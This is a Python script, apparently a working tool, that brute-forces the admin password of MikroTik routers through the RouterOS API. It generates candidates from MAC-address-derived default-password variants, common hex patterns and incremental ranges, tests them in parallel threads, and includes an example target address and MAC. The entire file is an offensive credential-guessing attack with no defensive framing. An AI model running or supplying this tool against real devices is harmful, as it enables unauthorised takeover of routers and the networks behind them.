#!/usr/bin/env python3 """ Comprehensive MikroTik Password Attack Uses reliable API authentication testing with multiple algorithm variations """ import socket import time import threading from concurrent.futures import ThreadPoolExecutor, as_completed import itertools import random class MikroTikAPIAttack: def __init__(self, host, port=8728): self.host = host self.port = port self.username = "admin" self.found_password = None self.attempts = 0 self.start_time = None self.lock = threading.Lock() self.stop_flag = threading.Event() def test_api_password(self, password, timeout=3): """Test password using MikroTik API - most reliable method""" if self.stop_flag.is_set(): return False try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((self.host, self.port)) def encode_length(length): if length <= 0x7F: return bytes([length]) elif length <= 0x3FFF: return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF]) else: return bytes([0xFF]) def write_word(word): word_bytes = word.encode('utf-8') sock.send(encode_length(len(word_bytes))) sock.send(word_bytes) def write_sentence(words): for word in words: write_word(word) write_word("") def read_word(): try: length_byte = sock.recv(1) if not length_byte: return "" length = length_byte[0] if length == 0: return "" if length & 0x80: second_byte = sock.recv(1) if not second_byte: return "" length = ((length & 0x7F) << 8) + second_byte[0] if length > 500: # Sanity check return "" return sock.recv(length).decode('utf-8', 'ignore') except: return "" def read_sentence(): sentence = [] while True: word = read_word() if word == "": break sentence.append(word) return sentence # Send login write_sentence(["/login", f"=name={self.username}", f"=password={password}"]) # Read response response = read_sentence() sock.close() # Success if we get "!done" without error return response and response[0] == "!done" except Exception: return False def test_password(self, password): """Test a password and handle progress reporting""" if self.stop_flag.is_set(): return False with self.lock: self.attempts += 1 current_attempts = self.attempts # Progress reporting if current_attempts % 50 == 0: elapsed = time.time() - self.start_time rate = current_attempts / elapsed if elapsed > 0 else 0 print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}") if self.test_api_password(password): print(f"\n*** PASSWORD FOUND! ***") print(f"Host: {self.host}") print(f"Username: {self.username}") print(f"Password: {password}") print(f"Total attempts: {current_attempts}") elapsed = time.time() - self.start_time print(f"Time taken: {elapsed:.2f} seconds") self.found_password = password self.stop_flag.set() return True return False def generate_mac_algorithm_variations(mac_address): """Generate comprehensive MAC-based password variations""" passwords = [] # Parse MAC mac_clean = mac_address.upper().replace(':', '').replace('-', '') if len(mac_clean) != 12: return passwords mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)] # Test different XOR constants (not just 0xD0) xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40] # Test different final constants (not just 0xFF) final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F] # Algorithm variations for xor_const in xor_constants: for final_const in final_constants: # Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL pwd_bytes = [ mac_bytes[0] ^ xor_const, mac_bytes[1], (~mac_bytes[2]) & 0xFF, final_const ] hex_str = ''.join(f'{b:02x}' for b in pwd_bytes) passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") # Variation: Different MAC byte positions for i in range(6): for j in range(6): for k in range(6): if i != j and j != k and i != k: # Different positions pwd_bytes = [ mac_bytes[i] ^ xor_const, mac_bytes[j], (~mac_bytes[k]) & 0xFF, final_const ] hex_str = ''.join(f'{b:02x}' for b in pwd_bytes) passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") # Direct MAC usage patterns for combo in itertools.permutations(mac_bytes[:4]): hex_str = ''.join(f'{b:02x}' for b in combo) passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") # Last/First 4 bytes of MAC hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6]) passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4]) passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") return list(set(passwords)) # Remove duplicates def generate_pattern_passwords(): """Generate common password patterns""" patterns = [] # Basic patterns basic = [ "0000-0000", "1111-1111", "2222-2222", "ffff-ffff", "aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd", "1234-5678", "8765-4321", "abcd-efab", "dead-beef", "cafe-babe", "feed-face", "babe-face", "c0de-d00d", ] patterns.extend(basic) # Year-based (installation years) for year in range(2010, 2025): patterns.extend([ f"0000-{year:04x}", f"{year:04x}-0000", f"{year:04x}-{year:04x}", f"1234-{year:04x}", f"{year:04x}-1234", ]) # Sequential hex patterns for i in range(0, 16): hex_char = f"{i:x}" patterns.extend([ f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}", f"0000-{hex_char}{hex_char}{hex_char}{hex_char}", f"{hex_char}{hex_char}{hex_char}{hex_char}-0000", ]) return patterns def generate_incremental_around_base(base_password, range_size=2000): """Generate passwords around a base password""" passwords = [] try: # Convert base password to integer hex_str = base_password.replace('-', '') base_int = int(hex_str, 16) # Generate passwords around this value for offset in range(-range_size//2, range_size//2 + 1): new_val = base_int + offset if 0 <= new_val <= 0xFFFFFFFF: hex_str = f"{new_val:08x}" passwords.append(f"{hex_str[:4]}-{hex_str[4:]}") except: pass return passwords def main(): import sys if len(sys.argv) < 2: print("Usage: python3 mikrotik_comprehensive_attack.py [MAC] [threads]") print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4") sys.exit(1) host = sys.argv[1] mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8" threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4 print(f"Comprehensive MikroTik Password Attack") print(f"Host: {host}") print(f"MAC: {mac_address}") print(f"Threads: {threads}") print("=" * 60) # Generate password candidates print("Generating password candidates...") mac_passwords = generate_mac_algorithm_variations(mac_address) print(f"MAC-based algorithms: {len(mac_passwords)} passwords") pattern_passwords = generate_pattern_passwords() print(f"Common patterns: {len(pattern_passwords)} passwords") # Generate incremental around the standard algorithm result base_mac_clean = mac_address.upper().replace(':', '') base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)] standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff" standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}" incremental_passwords = generate_incremental_around_base(standard_formatted, 1000) print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords") # Combine all passwords and remove duplicates all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords)) print(f"Total unique passwords: {len(all_passwords)}") # Prioritize: MAC algorithms first, then patterns, then incremental prioritized = mac_passwords + pattern_passwords + incremental_passwords # Remove duplicates while preserving order seen = set() final_passwords = [] for pwd in prioritized: if pwd not in seen: seen.add(pwd) final_passwords.append(pwd) print(f"Testing {len(final_passwords)} passwords in priority order...") print() # Run attack attacker = MikroTikAPIAttack(host) attacker.start_time = time.time() # Use ThreadPoolExecutor with ThreadPoolExecutor(max_workers=threads) as executor: future_to_password = { executor.submit(attacker.test_password, pwd): pwd for pwd in final_passwords } for future in as_completed(future_to_password): if attacker.stop_flag.is_set(): # Cancel remaining tasks for f in future_to_password: f.cancel() break try: result = future.result() if result: print(f"\n✓ SUCCESS! Password found: {attacker.found_password}") sys.exit(0) except Exception as e: password = future_to_password[future] print(f"Error testing {password}: {e}") if not attacker.found_password: elapsed = time.time() - attacker.start_time print(f"\nAttack completed without success.") print(f"Total attempts: {attacker.attempts}") print(f"Time taken: {elapsed:.2f} seconds") print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second") print("\nPassword not found in tested algorithms.") print("Consider:") print("1. Device may use different algorithm") print("2. Custom password may be set") print("3. Hardware reset if device is accessible") sys.exit(1) if __name__ == "__main__": main()